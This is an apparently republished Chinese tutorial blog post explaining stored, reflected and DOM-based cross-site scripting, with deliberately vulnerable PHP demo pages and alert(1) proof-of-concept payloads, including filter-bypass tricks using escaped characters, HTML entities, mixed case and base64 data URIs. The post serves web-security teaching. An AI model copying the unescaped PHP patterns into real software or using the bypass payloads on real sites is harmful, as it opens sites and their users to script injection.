xss简单的利用与分析

来源:互联网 发布:linux安装anaconda 编辑:程序博客网 时间:2024/06/06 12:21
xss博大精深,小菜只是班门弄斧,小小的总结了一下最近看过的一下文章


xss 有三种,第一种是存储型,第二种是反射性,第三种是DOM型

先说第一种吧,存储型的
demo:
<html><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><form type="text" name="test" action="yi.php" method=post><textarea name="cont"></textarea></br><input type="submit" name="submitup" value="提交" /></form><?php $dbuser = "root";$dbpwd = "";   //输入你自己的mysql的密码$db = "test";$conn = mysql_connect("localhost",$dbuser,$dbpwd) or die("error");mysql_select_db($db,$conn);if(isset($_POST['submitup'])){$cont=$_POST["cont"];$query = "insert into content(content) values (\"$cont\")";$result = mysql_query($query) or die (mysql_error());if($result)echo "<script>alert(\"success\")</script>";}$list = "select * from content ";$getlist = mysql_query($list) or die (mysql_error());while ($re = mysql_fetch_array($getlist)){echo "<span>$re[1]</span></br>";}?>



数据库就两个字段,一个是id,一个content,表名是content

这里完全没有任何注入,然后你在textarea里面输入<script>alert(1)</script>然后提交就会发现弹框啦(但是不要chrome来打开,因为chrome自身的防御机制,它不允许这些脚本弹出来的,用火狐,IE都行!
效果图

代码中也可以直接查看到!!
存储型是存取在数据库中的,然后每次查询会从中提取出来,然后html解释器就会解释这些脚本,而他的攻击威力也是最强的,因为他只需要对方浏览了这个界面就可以实施工具啦



第二种反射型
反射型,就是需要你构造好payload,让对方去打开(一般都需要的,但是某些情况下也不一定的)
demo:
<?php$id=$_GET["sid"];echo "<span>$id</span>";?>



但我们提交http://127.0.0.1/yi.php?sid=1,页面会显示1,但是如果我们提交http://127.0.0.1/yi.php?sid=1<script>alert(1)</script>
此时源代码就会变成<span>1<script>alert(1)</script></span>
然后就会顺利弹框啦。。

第三种DOM型
这种类型就是通过js输出的例如location document.write(ln)

document.referrer innerHTML =

window.name outterHTML =

ajax response 写window.location 操作

jsonp 写javascript: (伪协议后内容的自定义)

form下的inputs框 eval、setTimeout 、setInterval 等直接执行函数,就是说有些值是通过这些函数来显示到页面上,而不是直接显示的,相当于由JS执行了一遍才显示出来的!具体的,大家可以去看一下《Web前端黑客技术揭秘》,这里只是说明一下而已给个demo让你看一下
demo:
<?php$id=$_GET["sid"];?><html><p id="xx">123</p><script><?php echo 'document.getElementById("xx").innerHTML="'.$id.'";' ?></script></html>



如果没有innnerHTML那句话,那么网页显示的应该是123,但是你提交了http://127.0.0.1/yi.php?sid=1,网页就会变成了1,然后这个怎么弹框呢,你可以先构造一下payload,用上面那个试一下,提交http://127.0.0.1/yi.php?sid=1<script>alert(1)</script>,然后提交,没有弹,页面显示:

查看源代码:

看到了没?代码出现错误啦。。。因为他本身都在<script>标签中,所以不需要在加<.script>l啦,然后在把”给闭合了就行啦
那么payload就是http://127.0.0.1/yi.php?sid=1";alert(1); " 顺利弹框。。。


当然这里顺便说个小提示,本来下面才要提的,但是觉得这里比较好,如果假设这里",<,>都被过滤了,无法闭合呢?
这里就给出其他的方法第一种
1、sid=<img src=1 onerror=alert(1)>(针对没有被过滤<>的)
2、sid=\u003cimg src=1 onerror=alert(1) \u003e(这是过滤了<> 下面的也是>
3、sid=\x3cimg src=1 onerror=alert(1) \x3e
这里\u003c和\x3c都是了<,\u003e和\x3e是>
并且记住了,在innerHTML这些函数中<script>alert(1)</script>是无法触动弹框的,只能用<img src=1 onerrot=alert(1)>来触发

好了大概就是介绍这么多,然后给一下xss时的小tips
1、有时候空格被过滤掉可以用/**/来表示空格
2、js中科院利用实体字符来绕过过滤
例如:<iframe src="jav&#x61;script:alert(1)">
这里javascript被变成jav&#x61;script:alert(1),其实就是a=&#x61; 这个就是实体字符
3、可以通过变换大小写了绕过过滤,例如javascript可以变成JaVASRiptchrome
4、chrome 和 firefox 可以用data伪协议来触发xss
例如:<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
加红的字体就是用base64加密的。。。解密后就是:<script>alert(1)</script>
加密是为了绕过一些特殊字体,但是记住只能在chrome和firefox下用而已
5、可以利用一下on动作了触发xss,例如<img src=1 onerror=alert(1) 这个就是onerror函数来触发的
6、利用html5一些新添加的标签。。。。

over!!!




原创粉丝点击